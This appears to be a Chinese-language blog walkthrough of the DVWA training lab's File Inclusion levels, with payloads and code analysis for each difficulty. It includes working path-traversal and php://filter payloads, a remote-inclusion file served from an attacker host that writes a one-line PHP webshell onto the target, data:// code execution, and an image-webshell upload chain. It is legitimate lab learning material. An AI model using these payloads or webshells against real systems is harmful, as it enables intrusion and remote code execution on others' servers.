目录
LOW
通关步骤
一、本地文件包含
1、先搞清楚要干啥,当然可以像DVWA通关--文件上传(File Upload)的HIGH关一样,结合文件上传漏洞,包含木马,但是总做一样的事情未免有点没意思。
点右下角的View Help看了一下,File Inclusion这套关卡要求读取../hackable/flags/fi.php这个文件中的5个引用,也就是5个名言名句。
这个是本地文件包含的要求,后面也会一并尝试远程文件包含。
我在服务器上面看了一下这个文件的内容,如下图
可见1、2、4是直接包含了文件就可以在网页上看到(1是纯文本、2和4是php代码执行结果),
5是直接包含文件之后右键查看网页源代码可以看到(5是html注释),
而3需要通过文件包含查看到php源代码才能看到。
2、首先进行普通的本地文件包含:
地址栏输入:http://192.168.116.132/dvwa/vulnerabilities/fi/?page=../../hackable/flags/fi.php
就可以看到第1、2、4条引用直接可以在网页中看到
3、右键查看网页源代码,5也出现了
4、要把3弄出来的话,必须能够查看到fi.php的源代码,需要用到php伪协议php://filter
(“read=”是可以省略的,见MEDIUM)
可以得到fi.php源代码的base64编码:
随便找个在线base64解码工具解个码,就可以看到源代码,也就可以看到第3个引用啦
二、远程文件包含
方法1:
1、在攻击机192.168.116.1上创建待包含的文件fin.txt,文件内容如下:
<?php fputs(fopen('shell.php','w'),'<?php assert($_POST[fin]);?>');?>
当这个文件被成功包含之后,其中的php代码会执行,效果是在目标机上创建一个shell.php文件,并写入一句话木马。
2、攻击机192.168.116.1上用python3 -m http.server 80命令起http服务
3、浏览器地址栏输入payload:
http://192.168.116.132/dvwa/vulnerabilities/fi/?page=http://192.168.116.1/fin.txt
页面上看不出来什么鬼,打开目标机,可以发现fi文件夹下已经生成了shell.php文件:
4、蚁剑连接:
(不需要添加cookie字段)
方法2:
1、在攻击机192.168.116.1上创建待包含的文件sh.txt,文件内容如下:
<?php assert($_POST[fin]);?>
2、攻击机192.168.116.1上用python3 -m http.server 80命令起http服务
3、蚁剑直接通过远程文件包含来连接一句话木马:
http://192.168.116.132/dvwa/vulnerabilities/fi/?page=http://192.168.116.1/sh.txt
注意需要添加cookie
连接成功
代码分析
这关就是什么防护也没有,直接把url中page的值作为参数传递给index.php中的include函数,被包含的文件的内容便会被当作php代码运行。
MEDIUM
通关步骤
一、本地文件包含
1、先用LOW的payload试试
地址栏输入:http://192.168.116.132/dvwa/vulnerabilities/fi/?page=../../hackable/flags/fi.php
没成功,报错了,从报的错可以看出来,../../是被删掉了。
也就是说,这关不可以用相对路径,下面来试试绝对路径
2、从上图的报错信息中可以知道,fi.php的绝对路径是C:/phpstudy_pro/WWW/DVWA/hackable/flags/fi.php
地址栏输入:http://192.168.116.132/dvwa/vulnerabilities/fi/?page=C:/phpstudy_pro/WWW/DVWA/hackable/flags/fi.php
得到第1、2、4条引用
3、右键查看源代码,得到第5条引用
4、用php伪协议得到fi.php源代码的base64编码,解码后可以看到第3条引用
二、远程文件包含
这关把http://给过滤掉了,但是可以用data://来实现远程文件包含。
用一句话木马演示有点麻烦,这关就用phpinfo来演示了。
反正一句话木马的话,记得如果是把木马写入了目标机,直接连接的时候就不用设置cookie,如果是通过文件包含来连接,就需要设置cookie,因为dvwa/vulnerabilities/fi路径下的index.php文件(也就是存在文件包含漏洞的文件)是需要验证cookie才能访问的。
方法1:
浏览器地址栏输入:
http://192.168.116.132/dvwa/vulnerabilities/fi/?page=data://text/plain,<?php phpinfo();?>
方法2:
浏览器地址栏输入:
目标机上可以看到dvwa/vulnerabilities/fi文件夹下已经生成了如下内容的文件info.php
浏览器地址栏输入:http://192.168.116.132/dvwa/vulnerabilities/fi/info.php
就可以看到该文件
代码分析
本关进行了相当随意的黑名单过滤,把"http://", "https://"和相对路径删掉了,所以可以用data://协议和绝对路径绕过。
但是。。。删相对路径的时候,程序写错了,应该是"..\\",程序里面写成"..\""了,这样的话,过滤的是.."而不是..\了。。
试了一下,这关本地文件包含用payload:http://192.168.116.132/dvwa/vulnerabilities/fi/?page=..\..\hackable\flags\fi.php果然也是可以的。
另外,由于是匹配删除式的过滤,而且只删除一次,因此也可以用双写绕过。
HIGH
通关步骤
一、本地文件包含
1、先试一下上一关的payload,报错了:
2、试一下php伪协议file://
成功得到1、2、4
3、右键查看网页源代码得到5
4、还剩个3,这次用php伪协议php://filter也不行了。
看了下代码,这关估计是看不到3了。page的值必须是file开头的,但是file://协议好像并不能查看php源代码,也不能对文件进行编码读取(按照目前网上查找的信息是这样的,但不能完全确认)。
好像也没有其他什么绕过方式。。。
如果哪位大神有不同的看法,欢迎留言
二、远程文件包含
本关的远程文件包含需要用本地文件包含结合文件上传来实现,比如:
1、利用文件上传漏洞上传图片马filex.jpeg(其实随便叫什么名字都可以),文件中包含如下的一句话木马
上传成功,返回保存路径
2、利用文件包含漏洞连接一句话木马:
注意2点:
必须是绝对路径,相对路径不行
虽然php官方也说file://可以用相对路径,但实际上其只能用绝对路径,原因如下图(https://stackoverflow.com/questions/28853871/fopen-remote-host-file-access-not-accepted-on-a-local-file):
(2)蚁剑上需要设置cookie头
连接成功:
代码分析
这关要求page参数的值(包含的文件路径)必须是以file开头的,或者是include.php
fnmatch() 函数根据指定的模式来匹配文件名或字符串
IMPOSSIBLE
代码分析
这关只允许page参数的值(包含的文件路径)是当前路径下的include.php,file1.php,file2.php,file3.php
总结
又到了令人难受的总结部分。。。
好多文章都珠玉在前了,我这里就丢个脑图出来吧。。
除此之外,有两点是闯关和总结过程中发现的需要注意的点:
1、虽然有些文章中直接说远程文件包含不能包含.php文件。但经尝试,如果远程主机不能解析.php,比如是用python3 -m http.server起的http服务,则不会出现.php文件被包含之前先在远程主机上解析执行的情况,因此这种情况下是可以远程包含.php文件的。
2、再次重申:虽然php官方也说file://可以用相对路径,但实际上其只能用绝对路径